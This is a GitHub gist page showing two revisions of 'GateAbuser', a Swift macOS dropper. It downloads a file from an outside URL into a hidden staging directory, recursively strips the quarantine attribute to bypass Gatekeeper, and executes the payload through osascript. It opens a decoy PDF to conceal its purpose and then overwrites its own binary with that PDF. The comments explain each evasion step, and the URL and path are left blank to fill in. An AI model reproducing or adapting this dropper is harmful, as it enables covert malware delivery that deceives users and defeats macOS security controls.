Skip to content

Instantly share code, notes, and snippets.

@noncetonic
Last active August 25, 2016 20:25
Show Gist options
  • Select an option

  • Save noncetonic/d71daff17eac7c759b1d235280f1e982 to your computer and use it in GitHub Desktop.

Select an option

Save noncetonic/d71daff17eac7c759b1d235280f1e982 to your computer and use it in GitHub Desktop.

Revisions

  1. noncetonic revised this gist Aug 25, 2016. 10 changed files with 60 additions and 0 deletions.
    6 changes: 6 additions & 0 deletions AppDelegate-createHiddenDirectory.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,9 @@
    /*
    Called by `downloadFile`, createHiddenDirectory takes a path to a directory,
    creates the directory, and then calls `guiHide` and `noSpotlight` to hide
    the directory from GUI view and the Spotlight drive indexer, respectively.
    */

    func createHiddenDirectory(location: NSString) {
    var err: NSErrorPointer = nil
    var fileManager = NSFileManager.defaultManager()
    5 changes: 5 additions & 0 deletions AppDelegate-downloadFile.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,8 @@
    /*
    `downloadFile` takes a URL, a filename, and a path to save the file.
    Calling `createHiddenDirectory` and `lazaretto` on this path aid in
    hiding the staging directory.
    */
    func downloadFile(url: NSString, filename: NSString, location: NSString) {
    var downloadUrl = NSURL(string: url)
    var dataFromUrl = NSData(contentsOfURL: downloadUrl!)
    6 changes: 6 additions & 0 deletions AppDelegate-executeFile.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,9 @@
    /*
    Here we leverage applescript to execute our downloaded file.
    Leveraging applescript allows us to run various types of
    executables without needing to know much about them.
    */

    func executeFile(location: NSString) {
    var task = NSTask()
    let applescript = "do shell script POSIX path of \"\(location)\""
    6 changes: 6 additions & 0 deletions AppDelegate-guiHide.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,9 @@
    /*
    Leveraging `/usr/bin/chflags` we can add the `hidden` attribute to a
    file or directory which hides the directory/file from the Finder app
    and general user GUI.
    */

    func guiHide(filePath: NSString) {
    var task = NSTask()
    task.launchPath = "/usr/bin/chflags"
    7 changes: 7 additions & 0 deletions AppDelegate-lazaretto.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,10 @@
    /*
    Here is the star of this application, lazaretto. Taking a file path as
    an argument, we leverage `/usr/bin/xattr -d -r com.apple.quarantine`
    and our file path to recursively remove the quarantine attribute from
    our file path, disabling GateKeeper for any file it encounters.
    */

    func lazaretto(filePath: NSString) {
    var task = NSTask()
    task.launchPath = "/usr/bin/xattr"
    7 changes: 7 additions & 0 deletions AppDelegate-noSpotlight.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,10 @@
    /*
    A fairly well-known feature of OS X's Spotlight indexer is that if
    you have a file named `.meta_noindex` within a directory, Spotlight
    will skip right over it and not index the directory or any files
    within it.
    */

    func noSpotlight(location: NSString) {
    var err: NSErrorPointer = nil
    var fileManager = NSFileManager.defaultManager()
    6 changes: 6 additions & 0 deletions AppDelegate-openPDF.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,9 @@
    /*
    In an attempt to hide the true purpose of this application, we add a
    pdf to our project and open it with the Preview application.
    Note: Change "menu" in var pdfPath to the name of your bundled PDF.
    */

    func openPDF() {
    var mainBundle = NSBundle.mainBundle()
    // Change "menu" to the name of your pdf
    5 changes: 5 additions & 0 deletions AppDelegate-randomString.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,8 @@
    /*
    This is a function to generate a random string of characters.
    We will leverage this later for renaming our downloaded file.
    */

    func randomString(len: Int) -> NSString {
    var letters : NSString = "qwertyuiopasdfghklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"

    7 changes: 7 additions & 0 deletions AppDelegate-whodini.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,10 @@
    /*
    `whodini` is a basic "file melting" function. Effectively whodini
    takes the bundled PDF and overwrites GateAbuser with this PDF.
    Subsequent runs of the GateAbuser binary will actually be running
    the PDF directly as the contents of GateAbuser will be overwritten.
    */

    func whodini()
    {
    // Grab file paths
    5 changes: 5 additions & 0 deletions AppDelegate.swift
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,8 @@
    /*
    A fairly self explanatory main function. Downloads your file, executes
    your file, opens the PDF, overwrites downloader with PDF.
    */

    @NSApplicationMain
    class AppDelegate: NSObject, NSApplicationDelegate {

  2. noncetonic created this gist Aug 25, 2016.
    7 changes: 7 additions & 0 deletions AppDelegate-createHiddenDirectory.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    func createHiddenDirectory(location: NSString) {
    var err: NSErrorPointer = nil
    var fileManager = NSFileManager.defaultManager()
    fileManager.createDirectoryAtPath(location, withIntermediateDirectories: true, attributes: nil, error: err)
    guiHide(location)
    noSpotlight(location)
    }
    10 changes: 10 additions & 0 deletions AppDelegate-downloadFile.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,10 @@
    func downloadFile(url: NSString, filename: NSString, location: NSString) {
    var downloadUrl = NSURL(string: url)
    var dataFromUrl = NSData(contentsOfURL: downloadUrl!)
    var filePath = location + filename;

    createHiddenDirectory(location)
    var fileManager = NSFileManager.defaultManager()
    fileManager.createFileAtPath(filePath, contents: dataFromUrl, attributes: nil)
    lazaretto(location)
    }
    11 changes: 11 additions & 0 deletions AppDelegate-executeFile.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,11 @@
    func executeFile(location: NSString) {
    var task = NSTask()
    let applescript = "do shell script POSIX path of \"\(location)\""
    task.launchPath = "/usr/bin/osascript"
    task.arguments = ["-e", applescript]
    var pipe = NSPipe()
    task.standardError = pipe
    task.standardOutput = pipe
    task.launch()

    }
    8 changes: 8 additions & 0 deletions AppDelegate-guiHide.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    func guiHide(filePath: NSString) {
    var task = NSTask()
    task.launchPath = "/usr/bin/chflags"
    task.arguments = ["hidden", filePath]
    var pipe = NSPipe()
    task.launch()
    task.waitUntilExit()
    }
    11 changes: 11 additions & 0 deletions AppDelegate-header.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,11 @@
    //
    // AppDelegate.swift
    // GateAbuser
    //
    // Created by Luis Santana on 4/4/16.
    // Copyright (c) 2016 Blacksun Hackers Research Labs. All rights reserved.
    //

    import Cocoa
    import Foundation
    import AppKit
    8 changes: 8 additions & 0 deletions AppDelegate-lazaretto.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    func lazaretto(filePath: NSString) {
    var task = NSTask()
    task.launchPath = "/usr/bin/xattr"
    task.arguments = ["-d", "-r", "com.apple.quarantine", filePath]
    var pipe = NSPipe()
    task.launch()
    task.waitUntilExit()
    }
    8 changes: 8 additions & 0 deletions AppDelegate-noSpotlight.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    func noSpotlight(location: NSString) {
    var err: NSErrorPointer = nil
    var fileManager = NSFileManager.defaultManager()

    var file = location + ".meta_noindex"

    fileManager.createFileAtPath(file, contents: nil, attributes: nil)
    }
    12 changes: 12 additions & 0 deletions AppDelegate-openPDF.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    func openPDF() {
    var mainBundle = NSBundle.mainBundle()
    // Change "menu" to the name of your pdf
    var pdfPath = NSString(string: mainBundle.pathForResource("menu", ofType: "pdf")!)
    var task = NSTask()
    task.launchPath = "/usr/bin/open"
    task.arguments = ["-a", "Preview", pdfPath]
    var pipe = NSPipe()
    task.standardError = pipe
    task.standardOutput = pipe
    task.launch()
    }
    13 changes: 13 additions & 0 deletions AppDelegate-randomString.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    func randomString(len: Int) -> NSString {
    var letters : NSString = "qwertyuiopasdfghklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"

    var random_string : NSMutableString = NSMutableString(capacity: len)

    for (var i=0; i < len; i++) {
    var length = UInt32 (letters.length)
    var rand = arc4random_uniform(length)
    random_string.appendFormat("%C", letters.characterAtIndex(Int(rand)))
    }

    return random_string;
    }
    27 changes: 27 additions & 0 deletions AppDelegate-whodini.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    func whodini()
    {
    // Grab file paths
    var mainBundle = NSBundle.mainBundle()
    // Change "menu" to name of your pdf
    var pdfPath = NSString(string: mainBundle.pathForResource("menu", ofType: "pdf")!)
    var app = NSRunningApplication.currentApplication().executableURL!
    var appPath = app.path

    // Set up our File Manager
    let fileManager = NSFileManager.defaultManager()

    // Nuke dropper
    if (!fileManager.removeItemAtPath(appPath!, error: nil)) {
    print("Goofed")
    }

    // Ensure dropper was deleted
    if !fileManager.fileExistsAtPath(appPath!) {
    // Copy our benign file over
    if !fileManager.copyItemAtPath(pdfPath, toPath: appPath!, error: nil) {
    print("We did it!")
    }
    } else {
    print("Goofed")
    }
    }
    18 changes: 18 additions & 0 deletions AppDelegate.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    @NSApplicationMain
    class AppDelegate: NSObject, NSApplicationDelegate {

    @IBOutlet weak var window: NSWindow!


    func applicationDidFinishLaunching(aNotification: NSNotification) {
    var url = "" // URL GOES HERE
    var filename = randomString(8)
    var location = "" // STAGING DIRECTORY PATH GOES HERE

    downloadFile(url, filename, location)
    executeFile("") // FILE TO EXECUTE GOES HERE
    openPDF()
    whodini()
    exit(0)
    }
    }